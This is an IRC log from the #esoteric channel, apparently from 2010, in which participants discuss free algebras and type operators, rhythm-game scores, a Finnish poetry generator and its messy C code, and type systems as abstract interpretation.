:augur!unknown@unknown.invalid PRIVMSG #esoteric :its just not a well known one < 1268218928 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :or rather, its not an interesting one < 1268218963 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :if you did math, for instance, + or * over the integers has all sorts of fun properties < 1268218969 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :well right, that's what i meant, it's the free algebra on two binary operations, sort of < 1268218971 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :like, sometimes you can get back what you gave it < 1268218978 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :or you can go in circles < 1268218983 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :etc < 1268218993 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric : / and \ are not like that < 1268219010 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :yeah therefore free < 1268219027 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :which is to say, there are finite subsets of Z which are closed under + or * < 1268219043 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :there is no subset of T that is closed under / or \ < 1268219053 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :T as a whole is closed, but no subset of it is < 1268219064 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :that's not true < 1268219069 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :yes it is < 1268219075 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :the subalgebra generated by A/B is a subset < 1268219077 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :that's closed < 1268219083 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :what? < 1268219099 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :sorry, no finite subset < 1268219105 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :yeah that's true < 1268219113 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :obviously < 1268219133 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :but it's freeness that's the point < 1268219139 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but there ARE finite subsets of Z which are closed under *, lets say < 1268219142 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :{1} for instance < 1268219154 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :or {0} or {0,1} < 1268219166 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :why are you telling me this? < 1268219173 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :im just saying < 1268219181 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oh well i guess that's allowed < 1268219185 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :the structure of Z under + or * is more interesting than \ and / < 1268219200 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :simply because you can get substructures that are interesting like this < 1268219291 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :you can do all sorts of fun stuff with * and + that you cant do with / and \ simply because / and \ are, you might say, information preserving < 1268219306 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :yeah, you might even say it's free. < 1268219325 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :the result of addition is not something that has a uniquely identifiable origin < 1268219336 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :1 + 1 = 0 + 2 = -1 + 3 = ... < 1268219359 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but A/B is just A/B. theres only one way to get A/B. < 1268219415 0 :Slereah!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1268219427 0 :comex!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1268219435 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i don't really know the exact definition of freeness, but that's exactly what i mean by free in the case of an algebra that doesn't have any sort of identities. < 1268219503 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :there's a base and there's only one way to get everything from it. in the case of no identities, we have the stronger thing that every individual operation is completely reversible < 1268219544 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :anyway < 1268219577 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :if you let * be a type operator (which it technically isnt; it operators on things _with_ types, but we can pretend it can operate on just types for convenience) < 1268219595 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :then you get \ / and * forming some sort of "non-free" object, as you might say < 1268219598 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :identities being where the structure comes from, in the free monoid we can still have ab*c = a*bc even though it's free, where {a,b,c} is the base, because we have an identity that makes them the same, but if the operation satisfies no identities, then it's fully information preserving < 1268219632 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :they form a partial algebra, if that's the term < 1268219646 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :e.g. (A/B * B)/B, ((A/B)/B)*B, etc. < 1268219672 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :might still be free though < 1268219679 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :hmmhmm < 1268219689 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :maybe. im just saying that there you now get the non-uniqueness of histories. < 1268219699 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :trues < 1268219750 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i'm actually literally atm reading a book that would completely explain the role of identities in universal algebra, if i just read like 20 pages ahead < 1268219760 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1268219773 0 :Slereah!~Slereah@ANantes-259-1-61-200.w92-135.abo.wanadoo.fr JOIN :#esoteric < 1268219905 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric ::) < 1268220040 0 :cal153!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1268220122 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :(which also might be why i'm obsessing about the algebraic side of these things) < 1268220427 0 :cal153!~cal@c-69-181-46-213.hsd1.ca.comcast.net JOIN :#esoteric < 1268221850 0 :cal153!unknown@unknown.invalid QUIT :Ping timeout: 248 seconds < 1268222079 0 :cal153!~cal@c-69-181-46-213.hsd1.ca.comcast.net JOIN :#esoteric < 1268224329 0 :fax!~none@unaffiliated/fax JOIN :#esoteric < 1268224572 0 :alise!~95feda53@gateway/web/freenode/x-iecmsuovvvlexyib JOIN :#esoteric < 1268225003 0 :oklopol!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1268225424 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: I finished sibeli.us < 1268225443 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Your score: 175822 / Points possible: 660500 / Grade: 26% (F) < 1268225450 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I couldn't go any swbps because of my kb matrix < 1268225452 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*do < 1268225460 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :alise is kool < 1268225560 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :augur: + /is/ an operation on types tyvm < 1268225560 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's (Either a b) in haskell syntax < 1268225594 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :a*b (same thing as cartesian product) = (a,b) < 1268226133 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :alise: oh, well ok. :P < 1268226150 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i meant + as integer addition tho < 1268226160 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :thats all < 1268226262 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268226276 0 :alise!~95feda53@gateway/web/freenode/x-rtniaqmdeogeyjih JOIN :#esoteric < 1268226279 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :o hai < 1268226282 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Your score: 480612; Points possible: 660500; Grade: 72% (C-); this could do swbp (1234) most of the time, though I got some key-jammery there somewhere. I have to wonder if it would've been easier with the music, though. < 1268226320 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Your score: 380183 Points possible: 660500 Grade: 57% (F) < 1268226333 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :1234 would have worked too? That'd have made it easier < 1268226347 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :"Use the keys '1', '2', '3' and '4' (or 's', 'w', 'b' and 'p') for strings, woodwinds, brass and percussion." < 1268226352 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That's what it says on the front page. < 1268226354 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, I missed that bit. < 1268226364 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I just pressed "play" without reading the instructions. < 1268226374 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Sounds exactly like the sort of thing you'd do! < 1268226413 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :swbp is highly inconvenient on Colemak; all left hand and in 2143 order < 1268226414 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :HA < 1268226414 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant loses at something! < 1268226429 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :A first! < 1268226460 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :XD < 1268226461 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But yeah, I started thinking ohh this is easy < 1268226461 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :And then it was all, like, SSSWSWSWISBWndhFoiDSJpKAFPAJDOIHWDSOIWJD < 1268226484 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I dreaded the fast bits from the start :-P < 1268226485 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: It's worse with the music, trust me < 1268226502 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :With a 100+-key keyboard, though, shouldn't you be controlling just about every instrument? < 1268226564 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1268226564 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: I've heard the whole thing like... once before < 1268226594 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :And I, several < 1268226594 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So a couple of times I thought "thank god, it's over" and then more shit popped up < 1268226644 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Being .fi, it's sort-of required reading, I think. < 1268226660 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Or listening. Anyway. < 1268226694 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's rubbish < 1268226694 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You Finlanders suck :P < 1268226741 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: More automatic tweetery, though this is a bit Finnish-only: [2010-03-10 14:53:19] Tweeted: verikissanhiekka valtaa kanavia internetissä / akuutti rautaneito kuin laiteristiriita / laiminlyöty ja kukertava (runogen) < 1268226776 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :What. < 1268226783 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1268226820 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It's automagical poetry-generation; a rather old (10 years?) bit of code that I was suggested to make auto-tweet too. < 1268226957 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :1234 was a lot more comfortable if not easier: Your score: 418757 Points possible: 660500 Grade: 63% (D) < 1268226972 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :alise: I don't think my poetic skills are up to a faithful translation, but if you want a mostly literal one... "blood-cat-litter takes over channels on the Internet / the acute iron maiden like a device conflict / neglected and colorful". < 1268226985 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Though "colorful" is a crappy word for "kukertava"; I don't really know what it should be. < 1268226995 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: xD < 1268227008 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Wiktionary's entry -- http://en.wiktionary.org/wiki/kukertaa#Finnish -- lacks a definition. < 1268227039 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: flowery? < 1268227109 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I'm not sure. Perhaps, though the connection to actual flowers is (at least to me) less there. < 1268227119 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :1. flowery -- (of or relating to or suggestive of flowers; "a flowery hat"; "flowery wine") < 1268227119 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :2. flowery, ornate -- (marked by elaborate rhetoric and elaborated with decorative details; "a flowery speech"; "ornate rhetoric taught out of the rule of Plato"-John Milton) < 1268227147 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It's not sense #2, but it's maybe not exactly sense #1 either. < 1268227185 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Interwebs say: "It's a Finnish word for a colour that isn't of any particular colour, I think." < 1268227208 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :xD < 1268227211 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Right < 1268227221 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Weird-ass word; to me it suggests flowers < 1268227250 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Here's one poem I created earlier: "saatanan aarre ei ole valopuu / humanistien aurinko ymmärtää antaa kuin ruoska / kaipaus ei ole käytävä eikä brainfuck" < 1268227251 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :But evidently that's not what it means < 1268227267 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: :-D < 1268227269 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*word. < 1268227269 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: translayt < 1268227281 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1268227330 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :alise: "The treasure of Satan is not a light-tree / the sun of humanists knows to put out like a whip / longing is not a corridor, nor brainfuck". < 1268227351 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :"ymmärtää antaa" is another a bit difficult one. < 1268227354 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: I'd've said "insinuates" < 1268227387 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: But that's "antaa ymmärtää", isn't it? < 1268227403 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yes, but with poetic license you can write it the other way around. < 1268227419 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Oh, but it's not that, in fact; that thing there in the poem is the other half from the saying "antaa ymmärtää, muttei ymmärrä antaa". < 1268227419 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I don't know, that just made more sense to me. < 1268227450 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :The translation used the "6. put out -- (be sexually active; "She is supposed to put out")" sense of "put out". < 1268227450 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Then I'd just say "understands to give" < 1268227465 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :And to me, that wasn't implied :-P < 1268227513 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Well, you'd have to know the guy whose irc behaviour was used as a model when constructing that particular wordlist. :p < 1268227514 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :those would make goodterrible lyrics < 1268227514 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :for a goodterribleterrible song < 1268227579 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: "ymmärtää antaa" is only in the "naula" wordset, c.f. http://www.pelulamu.net/naula/ < 1268227605 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I learned long ago not to visit pelulamu.net < 1268227628 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :So yeah, okay. :-P < 1268227629 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pelulamu.net? < 1268227660 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Anyway, that generator is a handcrafted CFG, mostly not by me; there's four wordsets ("poetic", "gothy", "funny" and "naula") you can tell it to use. < 1268227681 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :If you do "-w goth", you get out stuff like: "sinä olet pääkallo / risti kylpee veressä / pikkutyttö kylpee veressä tulvillaan kipua sydänyöllä" < 1268227688 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric ::-D < 1268227722 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pelulamu.net? < 1268227722 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :also TRANSLATE :| < 1268227730 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Do you have this available? I could put this in /etc/profile.d < 1268227756 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :alise: google.com/translate_t < 1268227783 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Sowwy, but there's only a binary-only version available; I'm supposed to clean up the code before release; have been for the last ten years. < 1268227786 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no :| < 1268227789 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: http://maija.irtie.org/runogen/ anyway. < 1268227823 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :specially as i'm going in ... 20 seconds? < 1268227823 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but srsly what's pelulamu.net < 1268227823 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :like finnish rotten.com or sth? < 1268227828 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :alise: Well, the gothy one is approximately "you are a skull / a cross bathes in blood / a little girl bathes in blood full of pain at midnight". < 1268227845 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Can you hook me up with a 64-bit binary? < 1268227847 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1268227854 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Um, sure, I guess. < 1268227875 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Don't you have any 32-bit compatibility libs, though?-) < 1268227881 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :No, I do not < 1268227886 0 :alise_!~95feda53@gateway/web/freenode/x-lzesngqgkccgcwid JOIN :#esoteric < 1268227888 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I have a 32-bit chroot, which I'd rather avoid when possible < 1268227892 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :what was said since um sure i guess < 1268227908 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Three lines that are available in the tunes.org clog log < 1268227925 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :well as i'm leaving right now < 1268227926 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric ::p < 1268227936 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: It also generates the output in iso-8859-1; is that a problem, or can you pipe it through iconv or something manually? < 1268227951 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :well bye < 1268227968 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Presumably something iconv-like is no problem < 1268227972 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :alise: Bye < 1268228020 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :http://zem.fi/~fis/runogen in that case -- the server will send it as text/plain, unfortunately. < 1268228064 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Awesome < 1268228085 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It seems something between the program and my screen even automatically understands the 8-bittiness < 1268228095 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Cheers < 1268228110 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268228220 0 :alise_!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268228230 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Yes, it's a bit strange; the output looked just fine in rxvt-unicode when I ran it directly, but when I had the Python script print it out, it came up as the missing-character ? signs. I guess Python might do something there, though I was under the impression that if I just used os.popen and read() to get a 'str'-type 8-bit string and then print that, it shouldn't go and alter the bytes. < 1268228252 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Though I had to manually utf-8ify it anyway for Twitter posting. < 1268228332 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Unless I'm mistaken, there was also one undocumented (by -h) command line option, though I can't remember what it did. < 1268228372 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Using "-v -v -v" will give you some printouts of the rule-parsing at least. :p < 1268228464 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Written in C, presumably? < 1268228473 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Written in very ugly C. < 1268228477 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric ::-) < 1268228480 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That's the main reason there's only binaries. < 1268228495 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Gah, that thing's written in 2002; I'm ashamed of myself. < 1268228575 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Here's a representative snippet of code quality: http://pastebin.com/XvpEJHVv < 1268228588 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Looks good to me < 1268228605 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Maybe I'm overly critical. < 1268228611 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :;-) < 1268228633 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :alise is a girl < 1268228769 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Well... the win32 gui code at least is a mess. :p < 1268228779 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Ah, but it always is < 1268228890 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: http://pastebin.com/KMqHn2e6 < 1268228900 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: There's even a manually implemented checkbox-listbox thing. < 1268228930 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I like Outo virhe 1 and 2 < 1268228981 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Heh. I don't quite know what they mean. < 1268228982 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :And I wonder what's going on with the number 20000 in get_opts < 1268229002 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Also, the loop: for (i = 20002; i < 20013; ++i) { if (i == 20012) break; ... } is nice < 1268229137 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :At least the messages are cheerful < 1268229208 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I think the mapping there is that 20000+N (for N = 2 .. 10) means to generate a poem of N lines; and 20011 means that the length is taken from some textfield. < 1268229378 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Nnngh. Look at this nonsense: mii.dwTypeData = strdup("&Muu pituus... (xxxxxxxxxxxxxx)"); sprintf(mii.dwTypeData, "&Muu pituus... (%d)", dw); < 1268229424 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Nonsense? :-D < 1268229454 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Makes sense to me; strdup is just a not very efficient way of doing it < 1268229520 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :(And of course it assumes a 32-bit DWORD but I guess everybody does) < 1268229581 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I could've just used snprintf to calculate the length. Except that I guess MSVC calls that _snprintf and it doesn't actually return the number of bytes that were needed, so maybe not. < 1268229672 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :You should use the safer _snprintf_s! < 1268229714 0 :adu!unknown@unknown.invalid QUIT :Quit: adu < 1268229762 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I don't think MSVC6 had the _s functions yet, in fact. < 1268229769 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Probably not < 1268231976 0 :cpressey!~CPressey@173-9-215-173-Illinois.hfc.comcastbusiness.net JOIN :#esoteric < 1268233638 0 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1268234842 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :http://dpaste.com/hold/170444/ < 1268234973 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :cpressey its very long :| < 1268234996 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Yeah and it doesn't tell you much you didn't already know, either :) < 1268235008 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I don't really get why don't you just use types to do this proof.. < 1268235037 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :But it helped me work out the system (so the comment is really the most valuable) < 1268235051 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :In short, because I don't want to be tied to any particular type system. < 1268235070 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :This method of (basically) pure rewriting lets you roll your own. < 1268235113 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Hm, I guess I could have just done 'nand' to make it shorter. < 1268235140 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1268235247 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric : oerjan come quick <-- er.. < 1268235465 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION should not have stayed up until 4 last night
< 1268235500 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: now you'll _never_ catch up < 1268235824 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :cpressey what does tied to a particular type system mean? what I am suggesting is that a type system could be on you side, rather than against you < 1268235872 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I guess there's no way to make a smalltalk system look like it's native? < 1268236424 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :wow alise is gonna love this http://www.paulkabay.com/#trivialism < 1268236643 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1268236654 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1268236973 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :fax: Well, people make up new type systems all the time, as research. I'd like to have something that supports that effort, rather than picking one type system and saying "That's all I got". < 1268236988 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I gotta say, I love trivialism already. < 1268236990 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :bbiab. < 1268236993 0 :cpressey!unknown@unknown.invalid PART #esoteric :? < 1268237133 0 :cpressey!~CPressey@173-9-215-173-Illinois.hfc.comcastbusiness.net JOIN :#esoteric < 1268237260 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :fax: To me, type systems are just a special case of abstract interpretation. < 1268237273 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :isn't that true in general? < 1268237300 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Uh... yes? Not sure what you're referring to. < 1268237307 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :well you don't need to say "to me" < 1268237317 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Oh, well < 1268237344 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :why don't you have an abstract interpretation module and use it to prove this boolean stuff in a much more effecient way? < 1268237393 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :That was kind of the plan, but I think it turned out that this proof construct thing *is* my abstract interpretation module... < 1268237419 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Abstract interpretations can be mathematically modelled as Galois connections. < 1268237443 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :And these rewrite rules, with types going one way and evaluations going the other way, seem to be... close to that idea. < 1268237531 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :(I guess read my first statement as "Type systems are just a special case of abstract interpretation. Most people seem content to work inside the special case. But I want to design very general things.") < 1268237660 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Galois connections?? < 1268237707 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Oh, I barely understand it myself :/ < 1268237782 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :http://en.wikipedia.org/wiki/Galois_connection vs my shitty explanation http://catseye.tc/about/galois-connections.html < 1268237832 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Also, my examples are wrong, and I think I say "element" where I mean "subset" in one place. < 1268237833 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :abstract values (such as {int, even, odd, power-of-two, prime, ... }). < 1268237840 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :^ THIS AER TYPES!@! < 1268237855 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Yes, I know. < 1268238009 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :And "turing-machines-that-always-halt" is a type, too... < 1268238064 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Just, good luck proving that your function always evaluates to one. < 1268238238 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :aerotypes, just so much hot air? < 1268238388 0 :augur!~augur@129-2-175-79.wireless.umd.edu JOIN :#esoteric < 1268238436 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Is !x -> x just as inconsistent as !x = x ? In the former, every statement has the same normal form, but there's only one normal form. In the latter, there are no normal forms. < 1268238539 0 :Gracenotes!unknown@unknown.invalid QUIT :Quit: 